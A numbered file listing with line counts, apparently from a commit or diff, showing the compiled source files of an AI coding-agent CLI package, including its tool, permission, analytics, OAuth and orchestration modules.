  992. package/dist/src/moreright/useMoreRight.js +13 -0
  993. package/dist/src/native-ts/color-diff/index.js +821 -0
  994. package/dist/src/native-ts/file-index/index.js +328 -0
  995. package/dist/src/native-ts/yoga-layout/enums.js +101 -0
  996. package/dist/src/native-ts/yoga-layout/index.js +2113 -0
  997. package/dist/src/outputStyles/loadOutputStylesDir.js +73 -0
  998. package/dist/src/plugins/builtinPlugins.js +132 -0
  999. package/dist/src/plugins/bundled/index.js +22 -0
  1000. package/dist/src/projectOnboardingState.js +61 -0
  1001. package/dist/src/query/config.js +17 -0
  1002. package/dist/src/query/deps.js +12 -0
  1003. package/dist/src/query/stopHooks.js +334 -0
  1004. package/dist/src/query/tokenBudget.js +49 -0
  1005. package/dist/src/query.js +1330 -0
  1006. package/dist/src/recovery/bunBundleShim.js +11 -0
  1007. package/dist/src/remote/RemoteSessionManager.js +195 -0
  1008. package/dist/src/remote/SessionsWebSocket.js +305 -0
  1009. package/dist/src/remote/remotePermissionBridge.js +70 -0
  1010. package/dist/src/remote/sdkMessageAdapter.js +227 -0
  1011. package/dist/src/replLauncher.js +6 -0
  1012. package/dist/src/schemas/hooks.js +174 -0
  1013. package/dist/src/screens/Doctor.js +581 -0
  1014. package/dist/src/screens/REPL.js +4434 -0
  1015. package/dist/src/screens/ResumeConversation.js +341 -0
  1016. package/dist/src/self-hosted-runner/main.js +16 -0
  1017. package/dist/src/server/backends/dangerousBackend.js +16 -0
  1018. package/dist/src/server/connectHeadless.js +16 -0
  1019. package/dist/src/server/createDirectConnectSession.js +62 -0
  1020. package/dist/src/server/directConnectManager.js +153 -0
  1021. package/dist/src/server/lockfile.js +16 -0
  1022. package/dist/src/server/parseConnectUrl.js +16 -0
  1023. package/dist/src/server/server.js +16 -0
  1024. package/dist/src/server/serverBanner.js +16 -0
  1025. package/dist/src/server/serverLog.js +16 -0
  1026. package/dist/src/server/sessionManager.js +16 -0
  1027. package/dist/src/server/types.js +7 -0
  1028. package/dist/src/services/AgentSummary/agentSummary.js +147 -0
  1029. package/dist/src/services/MagicDocs/magicDocs.js +193 -0
  1030. package/dist/src/services/MagicDocs/prompts.js +110 -0
  1031. package/dist/src/services/PromptSuggestion/promptSuggestion.js +402 -0
  1032. package/dist/src/services/PromptSuggestion/speculation.js +643 -0
  1033. package/dist/src/services/SessionMemory/prompts.js +254 -0
  1034. package/dist/src/services/SessionMemory/sessionMemory.js +358 -0
  1035. package/dist/src/services/SessionMemory/sessionMemoryUtils.js +157 -0
  1036. package/dist/src/services/analytics/config.js +33 -0
  1037. package/dist/src/services/analytics/datadog.js +259 -0
  1038. package/dist/src/services/analytics/firstPartyEventLogger.js +342 -0
  1039. package/dist/src/services/analytics/firstPartyEventLoggingExporter.js +594 -0
  1040. package/dist/src/services/analytics/growthbook.js +952 -0
  1041. package/dist/src/services/analytics/index.js +114 -0
  1042. package/dist/src/services/analytics/metadata.js +698 -0
  1043. package/dist/src/services/analytics/sink.js +95 -0
  1044. package/dist/src/services/analytics/sinkKillswitch.js +19 -0
  1045. package/dist/src/services/api/adminRequests.js +57 -0
  1046. package/dist/src/services/api/bootstrap.js +149 -0
  1047. package/dist/src/services/api/claude.js +2461 -0
  1048. package/dist/src/services/api/client.js +325 -0
  1049. package/dist/src/services/api/dumpPrompts.js +174 -0
  1050. package/dist/src/services/api/emptyUsage.js +20 -0
  1051. package/dist/src/services/api/errorUtils.js +203 -0
  1052. package/dist/src/services/api/errors.js +934 -0
  1053. package/dist/src/services/api/filesApi.js +523 -0
  1054. package/dist/src/services/api/firstTokenDate.js +49 -0
  1055. package/dist/src/services/api/grove.js +272 -0
  1056. package/dist/src/services/api/index.js +23 -0
  1057. package/dist/src/services/api/logging.js +484 -0
  1058. package/dist/src/services/api/metricsOptOut.js +129 -0
  1059. package/dist/src/services/api/openai.js +1187 -0
  1060. package/dist/src/services/api/openrouter.js +30 -0
  1061. package/dist/src/services/api/overageCreditGrant.js +123 -0
  1062. package/dist/src/services/api/promptCacheBreakDetection.js +510 -0
  1063. package/dist/src/services/api/referral.js +219 -0
  1064. package/dist/src/services/api/sessionIngress.js +358 -0
  1065. package/dist/src/services/api/ultrareviewQuota.js +29 -0
  1066. package/dist/src/services/api/usage.js +31 -0
  1067. package/dist/src/services/api/withRetry.js +599 -0
  1068. package/dist/src/services/autoDream/autoDream.js +244 -0
  1069. package/dist/src/services/autoDream/config.js +17 -0
  1070. package/dist/src/services/autoDream/consolidationLock.js +122 -0
  1071. package/dist/src/services/autoDream/consolidationPrompt.js +56 -0
  1072. package/dist/src/services/awaySummary.js +61 -0
  1073. package/dist/src/services/claudeAiLimits.js +331 -0
  1074. package/dist/src/services/claudeAiLimitsHook.js +15 -0
  1075. package/dist/src/services/compact/apiMicrocompact.js +97 -0
  1076. package/dist/src/services/compact/autoCompact.js +236 -0
  1077. package/dist/src/services/compact/cachedMicrocompact.js +16 -0
  1078. package/dist/src/services/compact/compact.js +1258 -0
  1079. package/dist/src/services/compact/compactWarningHook.js +12 -0
  1080. package/dist/src/services/compact/compactWarningState.js +15 -0
  1081. package/dist/src/services/compact/grouping.js +58 -0
  1082. package/dist/src/services/compact/microCompact.js +414 -0
  1083. package/dist/src/services/compact/postCompactCleanup.js +72 -0
  1084. package/dist/src/services/compact/prompt.js +327 -0
  1085. package/dist/src/services/compact/sessionMemoryCompact.js +467 -0
  1086. package/dist/src/services/compact/timeBasedMCConfig.js +11 -0
  1087. package/dist/src/services/diagnosticTracking.js +282 -0
  1088. package/dist/src/services/extractMemories/extractMemories.js +444 -0
  1089. package/dist/src/services/extractMemories/prompts.js +129 -0
  1090. package/dist/src/services/internalLogging.js +68 -0
  1091. package/dist/src/services/limits/adapters/claude.js +219 -0
  1092. package/dist/src/services/limits/adapters/minimax.js +177 -0
  1093. package/dist/src/services/limits/adapters/ollama.js +189 -0
  1094. package/dist/src/services/limits/adapters/openai.js +167 -0
  1095. package/dist/src/services/limits/adapters/openrouter.js +166 -0
  1096. package/dist/src/services/limits/adapters/zai.js +154 -0
  1097. package/dist/src/services/limits/index.js +2 -0
  1098. package/dist/src/services/limits/registry.js +179 -0
  1099. package/dist/src/services/limits/sessionCounter.js +168 -0
  1100. package/dist/src/services/limits/types.js +1 -0
  1101. package/dist/src/services/lsp/LSPClient.js +306 -0
  1102. package/dist/src/services/lsp/LSPDiagnosticRegistry.js +277 -0
  1103. package/dist/src/services/lsp/LSPServerInstance.js +390 -0
  1104. package/dist/src/services/lsp/LSPServerManager.js +305 -0
  1105. package/dist/src/services/lsp/config.js +57 -0
  1106. package/dist/src/services/lsp/manager.js +246 -0
  1107. package/dist/src/services/lsp/passiveFeedback.js +226 -0
  1108. package/dist/src/services/mcp/InProcessTransport.js +54 -0
  1109. package/dist/src/services/mcp/MCPConnectionManager.js +50 -0
  1110. package/dist/src/services/mcp/SdkControlTransport.js +115 -0
  1111. package/dist/src/services/mcp/auth.js +1882 -0
  1112. package/dist/src/services/mcp/channelAllowlist.js +57 -0
  1113. package/dist/src/services/mcp/channelNotification.js +236 -0
  1114. package/dist/src/services/mcp/channelPermissions.js +192 -0
  1115. package/dist/src/services/mcp/claudeai.js +123 -0
  1116. package/dist/src/services/mcp/client.js +2480 -0
  1117. package/dist/src/services/mcp/config.js +1277 -0
  1118. package/dist/src/services/mcp/elicitationHandler.js +192 -0
  1119. package/dist/src/services/mcp/envExpansion.js +30 -0
  1120. package/dist/src/services/mcp/headersHelper.js +94 -0
  1121. package/dist/src/services/mcp/mcpStringUtils.js +85 -0
  1122. package/dist/src/services/mcp/normalization.js +21 -0
  1123. package/dist/src/services/mcp/oauthPort.js +69 -0
  1124. package/dist/src/services/mcp/officialRegistry.js +58 -0
  1125. package/dist/src/services/mcp/types.js +94 -0
  1126. package/dist/src/services/mcp/useManageMCPConnections.js +820 -0
  1127. package/dist/src/services/mcp/utils.js +433 -0
  1128. package/dist/src/services/mcp/vscodeSdkMcp.js +69 -0
  1129. package/dist/src/services/mcp/xaa.js +342 -0
  1130. package/dist/src/services/mcp/xaaIdpLogin.js +377 -0
  1131. package/dist/src/services/mcpServerApproval.js +29 -0
  1132. package/dist/src/services/mockRateLimits.js +666 -0
  1133. package/dist/src/services/notifier.js +114 -0
  1134. package/dist/src/services/oauth/auth-code-listener.js +236 -0
  1135. package/dist/src/services/oauth/client.js +545 -0
  1136. package/dist/src/services/oauth/crypto.js +19 -0
  1137. package/dist/src/services/oauth/getOauthProfile.js +48 -0
  1138. package/dist/src/services/oauth/index.js +152 -0
  1139. package/dist/src/services/oauth/types.js +1 -0
  1140. package/dist/src/services/orchestration/execution/AgentTaskExecutor.js +315 -0
  1141. package/dist/src/services/orchestration/execution/OrchestrationExecutionRuntime.js +1147 -0
  1142. package/dist/src/services/orchestration/execution/index.js +2 -0
  1143. package/dist/src/services/orchestration/execution/types.js +1 -0
  1144. package/dist/src/services/orchestration/global/GlobalOrchestratorRuntime.js +140 -0
  1145. package/dist/src/services/orchestration/global/index.js +3 -0
  1146. package/dist/src/services/orchestration/global/reporting.js +541 -0
  1147. package/dist/src/services/orchestration/global/types.js +1 -0
  1148. package/dist/src/services/orchestration/index.js +4 -0
  1149. package/dist/src/services/orchestration/policy/index.js +2 -0
  1150. package/dist/src/services/orchestration/policy/scoring.js +291 -0
  1151. package/dist/src/services/orchestration/policy/types.js +1 -0
  1152. package/dist/src/services/orchestration/squad/SquadOrchestratorRuntime.js +198 -0
  1153. package/dist/src/services/orchestration/squad/index.js +3 -0
  1154. package/dist/src/services/orchestration/squad/reporting.js +525 -0
  1155. package/dist/src/services/orchestration/squad/types.js +1 -0
  1156. package/dist/src/services/plugins/PluginInstallationManager.js +139 -0
  1157. package/dist/src/services/plugins/pluginCliCommands.js +230 -0
  1158. package/dist/src/services/plugins/pluginOperations.js +826 -0
  1159. package/dist/src/services/policyLimits/index.js +547 -0
  1160. package/dist/src/services/policyLimits/types.js +9 -0
  1161. package/dist/src/services/preventSleep.js +143 -0
  1162. package/dist/src/services/rateLimitMessages.js +271 -0
  1163. package/dist/src/services/rateLimitMocking.js +91 -0
  1164. package/dist/src/services/remoteManagedSettings/index.js +534 -0
  1165. package/dist/src/services/remoteManagedSettings/securityCheck.js +59 -0
  1166. package/dist/src/services/remoteManagedSettings/syncCache.js +90 -0
  1167. package/dist/src/services/remoteManagedSettings/syncCacheState.js +89 -0
  1168. package/dist/src/services/remoteManagedSettings/types.js +12 -0
  1169. package/dist/src/services/settingsSync/index.js +478 -0
  1170. package/dist/src/services/settingsSync/types.js +35 -0
  1171. package/dist/src/services/teamMemorySync/index.js +976 -0
  1172. package/dist/src/services/teamMemorySync/secretScanner.js +275 -0
  1173. package/dist/src/services/teamMemorySync/teamMemSecretGuard.js +35 -0
  1174. package/dist/src/services/teamMemorySync/types.js +47 -0
  1175. package/dist/src/services/teamMemorySync/watcher.js +326 -0
  1176. package/dist/src/services/tips/tipHistory.js +17 -0
  1177. package/dist/src/services/tips/tipRegistry.js +589 -0
  1178. package/dist/src/services/tips/tipScheduler.js +40 -0
  1179. package/dist/src/services/tokenEstimation.js +365 -0
  1180. package/dist/src/services/toolUseSummary/toolUseSummaryGenerator.js +87 -0
  1181. package/dist/src/services/tools/StreamingToolExecutor.js +413 -0
  1182. package/dist/src/services/tools/toolExecution.js +1218 -0
  1183. package/dist/src/services/tools/toolHooks.js +454 -0
  1184. package/dist/src/services/tools/toolOrchestration.js +110 -0
  1185. package/dist/src/services/vcr.js +291 -0
  1186. package/dist/src/services/voice.js +394 -0
  1187. package/dist/src/services/voiceKeyterms.js +94 -0
  1188. package/dist/src/services/voiceStreamSTT.js +406 -0
  1189. package/dist/src/setup.js +349 -0
  1190. package/dist/src/skills/bundled/batch.js +114 -0
  1191. package/dist/src/skills/bundled/claudeApi.js +145 -0
  1192. package/dist/src/skills/bundled/claudeApiContent.js +14 -0
  1193. package/dist/src/skills/bundled/claudeInChrome.js +27 -0
  1194. package/dist/src/skills/bundled/debug.js +99 -0
  1195. package/dist/src/skills/bundled/index.js +5 -0
  1196. package/dist/src/skills/bundled/keybindings.js +292 -0
  1197. package/dist/src/skills/bundled/loop.js +81 -0
  1198. package/dist/src/skills/bundled/loremIpsum.js +266 -0
  1199. package/dist/src/skills/bundled/remember.js +75 -0
  1200. package/dist/src/skills/bundled/scheduleRemoteAgents.js +373 -0
  1201. package/dist/src/skills/bundled/simplify.js +66 -0
  1202. package/dist/src/skills/bundled/skillify.js +184 -0
  1203. package/dist/src/skills/bundled/stuck.js +75 -0
  1204. package/dist/src/skills/bundled/updateConfig.js +463 -0
  1205. package/dist/src/skills/bundled/verify.js +25 -0
  1206. package/dist/src/skills/bundled/verifyContent.js +7 -0
  1207. package/dist/src/skills/bundledSkills.js +159 -0
  1208. package/dist/src/skills/loadSkillsDir.js +751 -0
  1209. package/dist/src/skills/mcpSkillBuilders.js +10 -0
  1210. package/dist/src/ssh/createSSHSession.js +16 -0
  1211. package/dist/src/state/AppState.js +184 -0
  1212. package/dist/src/state/AppStateStore.js +120 -0
  1213. package/dist/src/state/onChangeAppState.js +132 -0
  1214. package/dist/src/state/selectors.js +51 -0
  1215. package/dist/src/state/store.js +21 -0
  1216. package/dist/src/state/teammateViewHelpers.js +124 -0
  1217. package/dist/src/tasks/DreamTask/DreamTask.js +99 -0
  1218. package/dist/src/tasks/InProcessTeammateTask/InProcessTeammateTask.js +116 -0
  1219. package/dist/src/tasks/InProcessTeammateTask/types.js +35 -0
  1220. package/dist/src/tasks/LocalAgentTask/LocalAgentTask.js +507 -0
  1221. package/dist/src/tasks/LocalMainSessionTask.js +338 -0
  1222. package/dist/src/tasks/LocalShellTask/LocalShellTask.js +475 -0
  1223. package/dist/src/tasks/LocalShellTask/guards.js +9 -0
  1224. package/dist/src/tasks/LocalShellTask/killShellTasks.js +59 -0
  1225. package/dist/src/tasks/RemoteAgentTask/RemoteAgentTask.js +742 -0
  1226. package/dist/src/tasks/pillLabel.js +69 -0
  1227. package/dist/src/tasks/stopTask.js +67 -0
  1228. package/dist/src/tasks/types.js +18 -0
  1229. package/dist/src/tasks.js +39 -0
  1230. package/dist/src/telegram/bridge.js +329 -0
  1231. package/dist/src/telegram/config.js +89 -0
  1232. package/dist/src/telegram/mirror.js +91 -0
  1233. package/dist/src/tools/AgentTool/AgentTool.js +1222 -0
  1234. package/dist/src/tools/AgentTool/UI.js +592 -0
  1235. package/dist/src/tools/AgentTool/agentColorManager.js +43 -0
  1236. package/dist/src/tools/AgentTool/agentDisplay.js +72 -0
  1237. package/dist/src/tools/AgentTool/agentMemory.js +139 -0
  1238. package/dist/src/tools/AgentTool/agentMemorySnapshot.js +136 -0
  1239. package/dist/src/tools/AgentTool/agentToolUtils.js +456 -0
  1240. package/dist/src/tools/AgentTool/built-in/claudeCodeGuideAgent.js +175 -0
  1241. package/dist/src/tools/AgentTool/built-in/exploreAgent.js +76 -0
  1242. package/dist/src/tools/AgentTool/built-in/generalPurposeAgent.js +28 -0
  1243. package/dist/src/tools/AgentTool/built-in/planAgent.js +87 -0
  1244. package/dist/src/tools/AgentTool/built-in/statuslineSetup.js +140 -0
  1245. package/dist/src/tools/AgentTool/built-in/verificationAgent.js +146 -0
  1246. package/dist/src/tools/AgentTool/builtInAgents.js +59 -0
  1247. package/dist/src/tools/AgentTool/constants.js +11 -0
  1248. package/dist/src/tools/AgentTool/forkSubagent.js +177 -0
  1249. package/dist/src/tools/AgentTool/loadAgentsDir.js +497 -0
  1250. package/dist/src/tools/AgentTool/prompt.js +262 -0
  1251. package/dist/src/tools/AgentTool/resumeAgent.js +182 -0
  1252. package/dist/src/tools/AgentTool/runAgent.js +629 -0
  1253. package/dist/src/tools/AskUserQuestionTool/AskUserQuestionTool.js +237 -0
  1254. package/dist/src/tools/AskUserQuestionTool/prompt.js +38 -0
  1255. package/dist/src/tools/BashTool/BashTool.js +1008 -0
  1256. package/dist/src/tools/BashTool/BashToolResultMessage.js +168 -0
  1257. package/dist/src/tools/BashTool/UI.js +133 -0
  1258. package/dist/src/tools/BashTool/bashCommandHelpers.js +184 -0
  1259. package/dist/src/tools/BashTool/bashPermissions.js +2023 -0
  1260. package/dist/src/tools/BashTool/bashSecurity.js +2267 -0
  1261. package/dist/src/tools/BashTool/commandSemantics.js +105 -0
  1262. package/dist/src/tools/BashTool/commentLabel.js +14 -0
  1263. package/dist/src/tools/BashTool/destructiveCommandWarning.js +88 -0
  1264. package/dist/src/tools/BashTool/modeValidation.js +86 -0
  1265. package/dist/src/tools/BashTool/pathValidation.js +1080 -0
  1266. package/dist/src/tools/BashTool/prompt.js +334 -0
  1267. package/dist/src/tools/BashTool/readOnlyValidation.js +1794 -0
  1268. package/dist/src/tools/BashTool/sedEditParser.js +282 -0
  1269. package/dist/src/tools/BashTool/sedValidation.js +580 -0
  1270. package/dist/src/tools/BashTool/shouldUseSandbox.js +125 -0
  1271. package/dist/src/tools/BashTool/toolName.js +2 -0
  1272. package/dist/src/tools/BashTool/utils.js +180 -0
  1273. package/dist/src/tools/BriefTool/BriefTool.js +172 -0
  1274. package/dist/src/tools/BriefTool/UI.js +66 -0
  1275. package/dist/src/tools/BriefTool/attachments.js +86 -0
  1276. package/dist/src/tools/BriefTool/prompt.js +19 -0
  1277. package/dist/src/tools/BriefTool/upload.js +136 -0
  1278. package/dist/src/tools/ConfigTool/ConfigTool.js +398 -0
  1279. package/dist/src/tools/ConfigTool/UI.js +24 -0
  1280. package/dist/src/tools/ConfigTool/constants.js +1 -0
  1281. package/dist/src/tools/ConfigTool/prompt.js +82 -0
  1282. package/dist/src/tools/ConfigTool/supportedSettings.js +180 -0
  1283. package/dist/src/tools/EnterPlanModeTool/EnterPlanModeTool.js +98 -0
  1284. package/dist/src/tools/EnterPlanModeTool/UI.js +13 -0
  1285. package/dist/src/tools/EnterPlanModeTool/constants.js +1 -0
  1286. package/dist/src/tools/EnterPlanModeTool/prompt.js +164 -0
  1287. package/dist/src/tools/EnterWorktreeTool/EnterWorktreeTool.js +104 -0
  1288. package/dist/src/tools/EnterWorktreeTool/UI.js +8 -0
  1289. package/dist/src/tools/EnterWorktreeTool/constants.js +1 -0
  1290. package/dist/src/tools/EnterWorktreeTool/prompt.js +30 -0
  1291. package/dist/src/tools/ExitPlanModeTool/ExitPlanModeV2Tool.js +385 -0
  1292. package/dist/src/tools/ExitPlanModeTool/UI.js +31 -0
  1293. package/dist/src/tools/ExitPlanModeTool/constants.js +2 -0
  1294. package/dist/src/tools/ExitPlanModeTool/prompt.js +27 -0
  1295. package/dist/src/tools/ExitWorktreeTool/ExitWorktreeTool.js +257 -0
  1296. package/dist/src/tools/ExitWorktreeTool/UI.js +9 -0
  1297. package/dist/src/tools/ExitWorktreeTool/constants.js +1 -0
  1298. package/dist/src/tools/ExitWorktreeTool/prompt.js +32 -0
  1299. package/dist/src/tools/FileEditTool/FileEditTool.js +480 -0
  1300. package/dist/src/tools/FileEditTool/UI.js +201 -0
  1301. package/dist/src/tools/FileEditTool/constants.js +7 -0
  1302. package/dist/src/tools/FileEditTool/prompt.js +24 -0
  1303. package/dist/src/tools/FileEditTool/types.js +50 -0
  1304. package/dist/src/tools/FileEditTool/utils.js +579 -0
  1305. package/dist/src/tools/FileReadTool/FileReadTool.js +889 -0
  1306. package/dist/src/tools/FileReadTool/UI.js +125 -0
  1307. package/dist/src/tools/FileReadTool/imageProcessor.js +46 -0
  1308. package/dist/src/tools/FileReadTool/limits.js +70 -0
  1309. package/dist/src/tools/FileReadTool/prompt.js +31 -0
  1310. package/dist/src/tools/FileWriteTool/FileWriteTool.js +341 -0
  1311. package/dist/src/tools/FileWriteTool/UI.js +338 -0
  1312. package/dist/src/tools/FileWriteTool/prompt.js +15 -0
  1313. package/dist/src/tools/GlobTool/GlobTool.js +161 -0
  1314. package/dist/src/tools/GlobTool/UI.js +39 -0
  1315. package/dist/src/tools/GlobTool/prompt.js +6 -0
  1316. package/dist/src/tools/GrepTool/GrepTool.js +439 -0
  1317. package/dist/src/tools/GrepTool/UI.js +154 -0
  1318. package/dist/src/tools/GrepTool/prompt.js +16 -0
  1319. package/dist/src/tools/LSPTool/LSPTool.js +660 -0
  1320. package/dist/src/tools/LSPTool/UI.js +204 -0
  1321. package/dist/src/tools/LSPTool/formatters.js +445 -0
  1322. package/dist/src/tools/LSPTool/prompt.js +20 -0
  1323. package/dist/src/tools/LSPTool/schemas.js +197 -0
  1324. package/dist/src/tools/LSPTool/symbolContext.js +75 -0
  1325. package/dist/src/tools/ListMcpResourcesTool/ListMcpResourcesTool.js +100 -0
  1326. package/dist/src/tools/ListMcpResourcesTool/UI.js +16 -0
  1327. package/dist/src/tools/ListMcpResourcesTool/prompt.js +18 -0
  1328. package/dist/src/tools/MCPTool/MCPTool.js +60 -0
  1329. package/dist/src/tools/MCPTool/UI.js +342 -0
  1330. package/dist/src/tools/MCPTool/classifyForCollapse.js +597 -0
  1331. package/dist/src/tools/MCPTool/prompt.js +3 -0
  1332. package/dist/src/tools/McpAuthTool/McpAuthTool.js +162 -0
  1333. package/dist/src/tools/NotebookEditTool/NotebookEditTool.js +421 -0
  1334. package/dist/src/tools/NotebookEditTool/UI.js +40 -0
  1335. package/dist/src/tools/NotebookEditTool/constants.js +2 -0
  1336. package/dist/src/tools/NotebookEditTool/prompt.js +2 -0
  1337. package/dist/src/tools/PowerShellTool/PowerShellTool.js +899 -0
  1338. package/dist/src/tools/PowerShellTool/UI.js +57 -0
  1339. package/dist/src/tools/PowerShellTool/clmTypes.js +207 -0
  1340. package/dist/src/tools/PowerShellTool/commandSemantics.js +115 -0
  1341. package/dist/src/tools/PowerShellTool/commonParameters.js +27 -0
  1342. package/dist/src/tools/PowerShellTool/destructiveCommandWarning.js +92 -0
  1343. package/dist/src/tools/PowerShellTool/gitSafety.js +185 -0
  1344. package/dist/src/tools/PowerShellTool/modeValidation.js +357 -0
  1345. package/dist/src/tools/PowerShellTool/pathValidation.js +1712 -0
  1346. package/dist/src/tools/PowerShellTool/powershellPermissions.js +1351 -0
  1347. package/dist/src/tools/PowerShellTool/powershellSecurity.js +942 -0
  1348. package/dist/src/tools/PowerShellTool/prompt.js +134 -0
  1349. package/dist/src/tools/PowerShellTool/readOnlyValidation.js +1633 -0
  1350. package/dist/src/tools/PowerShellTool/toolName.js +2 -0
  1351. package/dist/src/tools/REPLTool/constants.js +43 -0
  1352. package/dist/src/tools/REPLTool/primitiveTools.js +36 -0
  1353. package/dist/src/tools/ReadMcpResourceTool/ReadMcpResourceTool.js +112 -0
  1354. package/dist/src/tools/ReadMcpResourceTool/UI.js +23 -0
  1355. package/dist/src/tools/ReadMcpResourceTool/prompt.js +15 -0
  1356. package/dist/src/tools/RemoteTriggerTool/RemoteTriggerTool.js +142 -0
  1357. package/dist/src/tools/RemoteTriggerTool/UI.js +11 -0
  1358. package/dist/src/tools/RemoteTriggerTool/prompt.js +12 -0
  1359. package/dist/src/tools/ScheduleCronTool/CronCreateTool.js +120 -0
  1360. package/dist/src/tools/ScheduleCronTool/CronDeleteTool.js +74 -0
  1361. package/dist/src/tools/ScheduleCronTool/CronListTool.js +77 -0
  1362. package/dist/src/tools/ScheduleCronTool/UI.js +28 -0
  1363. package/dist/src/tools/ScheduleCronTool/prompt.js +115 -0
  1364. package/dist/src/tools/SendMessageTool/SendMessageTool.js +675 -0
  1365. package/dist/src/tools/SendMessageTool/UI.js +23 -0
  1366. package/dist/src/tools/SendMessageTool/constants.js +1 -0
  1367. package/dist/src/tools/SendMessageTool/prompt.js +47 -0
  1368. package/dist/src/tools/SkillTool/SkillTool.js +827 -0
  1369. package/dist/src/tools/SkillTool/UI.js +60 -0
  1370. package/dist/src/tools/SkillTool/constants.js +1 -0
  1371. package/dist/src/tools/SkillTool/prompt.js +184 -0
  1372. package/dist/src/tools/SleepTool/prompt.js +14 -0
  1373. package/dist/src/tools/SyntheticOutputTool/SyntheticOutputTool.js +138 -0
  1374. package/dist/src/tools/TaskCreateTool/TaskCreateTool.js +104 -0
  1375. package/dist/src/tools/TaskCreateTool/constants.js +1 -0
  1376. package/dist/src/tools/TaskCreateTool/prompt.js +52 -0
  1377. package/dist/src/tools/TaskGetTool/TaskGetTool.js +106 -0
  1378. package/dist/src/tools/TaskGetTool/constants.js +1 -0
  1379. package/dist/src/tools/TaskGetTool/prompt.js +23 -0
  1380. package/dist/src/tools/TaskListTool/TaskListTool.js +89 -0
  1381. package/dist/src/tools/TaskListTool/constants.js +1 -0
  1382. package/dist/src/tools/TaskListTool/prompt.js +44 -0
  1383. package/dist/src/tools/TaskOutputTool/TaskOutputTool.js +535 -0
  1384. package/dist/src/tools/TaskOutputTool/constants.js +1 -0
  1385. package/dist/src/tools/TaskStopTool/TaskStopTool.js +110 -0
  1386. package/dist/src/tools/TaskStopTool/UI.js +30 -0
  1387. package/dist/src/tools/TaskStopTool/prompt.js +7 -0
  1388. package/dist/src/tools/TaskUpdateTool/TaskUpdateTool.js +301 -0
  1389. package/dist/src/tools/TaskUpdateTool/constants.js +1 -0
  1390. package/dist/src/tools/TaskUpdateTool/prompt.js +76 -0
  1391. package/dist/src/tools/TeamCreateTool/TeamCreateTool.js +177 -0
  1392. package/dist/src/tools/TeamCreateTool/UI.js +4 -0
  1393. package/dist/src/tools/TeamCreateTool/constants.js +1 -0
  1394. package/dist/src/tools/TeamCreateTool/prompt.js +113 -0
  1395. package/dist/src/tools/TeamDeleteTool/TeamDeleteTool.js +102 -0
  1396. package/dist/src/tools/TeamDeleteTool/UI.js +13 -0
  1397. package/dist/src/tools/TeamDeleteTool/constants.js +1 -0
  1398. package/dist/src/tools/TeamDeleteTool/prompt.js +16 -0
  1399. package/dist/src/tools/TodoWriteTool/TodoWriteTool.js +99 -0
  1400. package/dist/src/tools/TodoWriteTool/constants.js +1 -0
  1401. package/dist/src/tools/TodoWriteTool/prompt.js +181 -0
  1402. package/dist/src/tools/ToolSearchTool/ToolSearchTool.js +357 -0
  1403. package/dist/src/tools/ToolSearchTool/constants.js +1 -0
  1404. package/dist/src/tools/ToolSearchTool/prompt.js +99 -0
  1405. package/dist/src/tools/TungstenTool/TungstenLiveMonitor.js +7 -0
  1406. package/dist/src/tools/TungstenTool/TungstenTool.js +3 -0
  1407. package/dist/src/tools/WebFetchTool/UI.js +30 -0
  1408. package/dist/src/tools/WebFetchTool/WebFetchTool.js +246 -0
  1409. package/dist/src/tools/WebFetchTool/preapproved.js +155 -0
  1410. package/dist/src/tools/WebFetchTool/prompt.js +39 -0
  1411. package/dist/src/tools/WebFetchTool/utils.js +381 -0
  1412. package/dist/src/tools/WebSearchTool/UI.js +66 -0
  1413. package/dist/src/tools/WebSearchTool/WebSearchTool.js +352 -0
  1414. package/dist/src/tools/WebSearchTool/prompt.js +32 -0
  1415. package/dist/src/tools/WorkflowTool/constants.js +2 -0
  1416. package/dist/src/tools/shared/gitOperationTracking.js +220 -0
  1417. package/dist/src/tools/shared/spawnMultiAgent.js +805 -0
  1418. package/dist/src/tools/testing/TestingPermissionTool.js +72 -0
  1419. package/dist/src/tools/utils.js +24 -0
  1420. package/dist/src/tools.js +332 -0
  1421. package/dist/src/types/command.js +10 -0
  1422. package/dist/src/types/connectorText.js +2 -0
  1423. package/dist/src/types/generated/events_mono/claude_code/v1/claude_code_internal_event.js +673 -0
  1424. package/dist/src/types/generated/events_mono/common/v1/auth.js +49 -0
  1425. package/dist/src/types/generated/events_mono/growthbook/v1/growthbook_experiment_event.js +147 -0
  1426. package/dist/src/types/generated/google/protobuf/timestamp.js +38 -0
  1427. package/dist/src/types/hooks.js +153 -0
  1428. package/dist/src/types/ids.js +27 -0
  1429. package/dist/src/types/logs.js +11 -0
  1430. package/dist/src/types/message.js +1 -0
  1431. package/dist/src/types/permissions.js +25 -0
  1432. package/dist/src/types/plugin.js +72 -0
  1433. package/dist/src/types/textInputTypes.js +20 -0
  1434. package/dist/src/types/utils.js +5 -0
  1435. package/dist/src/upstreamproxy/relay.js +346 -0
  1436. package/dist/src/upstreamproxy/upstreamproxy.js +236 -0
  1437. package/dist/src/utils/CircularBuffer.js +75 -0
  1438. package/dist/src/utils/Cursor.js +1229 -0
  1439. package/dist/src/utils/QueryGuard.js +115 -0
  1440. package/dist/src/utils/Shell.js +374 -0
  1441. package/dist/src/utils/ShellCommand.js +338 -0
  1442. package/dist/src/utils/abortController.js +74 -0
  1443. package/dist/src/utils/activityManager.js +127 -0
  1444. package/dist/src/utils/advisor.js +77 -0
  1445. package/dist/src/utils/agentContext.js +91 -0
  1446. package/dist/src/utils/agentId.js +83 -0
  1447. package/dist/src/utils/agentSwarmsEnabled.js +37 -0
  1448. package/dist/src/utils/agenticSessionSearch.js +255 -0
  1449. package/dist/src/utils/analyzeContext.js +848 -0
  1450. package/dist/src/utils/ansiToPng.js +259 -0
  1451. package/dist/src/utils/ansiToSvg.js +207 -0
  1452. package/dist/src/utils/api.js +555 -0
  1453. package/dist/src/utils/apiPreconnect.js +62 -0
  1454. package/dist/src/utils/appleTerminalBackup.js +95 -0
  1455. package/dist/src/utils/argumentSubstitution.js +114 -0
  1456. package/dist/src/utils/array.js +12 -0
  1457. package/dist/src/utils/asciicast.js +200 -0
  1458. package/dist/src/utils/attachments.js +2514 -0
  1459. package/dist/src/utils/attribution.js +308 -0
  1460. package/dist/src/utils/attributionHooks.js +16 -0
  1461. package/dist/src/utils/attributionTrailer.js +16 -0
  1462. package/dist/src/utils/auth.js +2022 -0
  1463. package/dist/src/utils/authFileDescriptor.js +152 -0
  1464. package/dist/src/utils/authPortable.js +14 -0
  1465. package/dist/src/utils/autoModeDenials.js +15 -0
  1466. package/dist/src/utils/autoRunIssue.js +112 -0
  1467. package/dist/src/utils/autoUpdater.js +461 -0
  1468. package/dist/src/utils/aws.js +44 -0
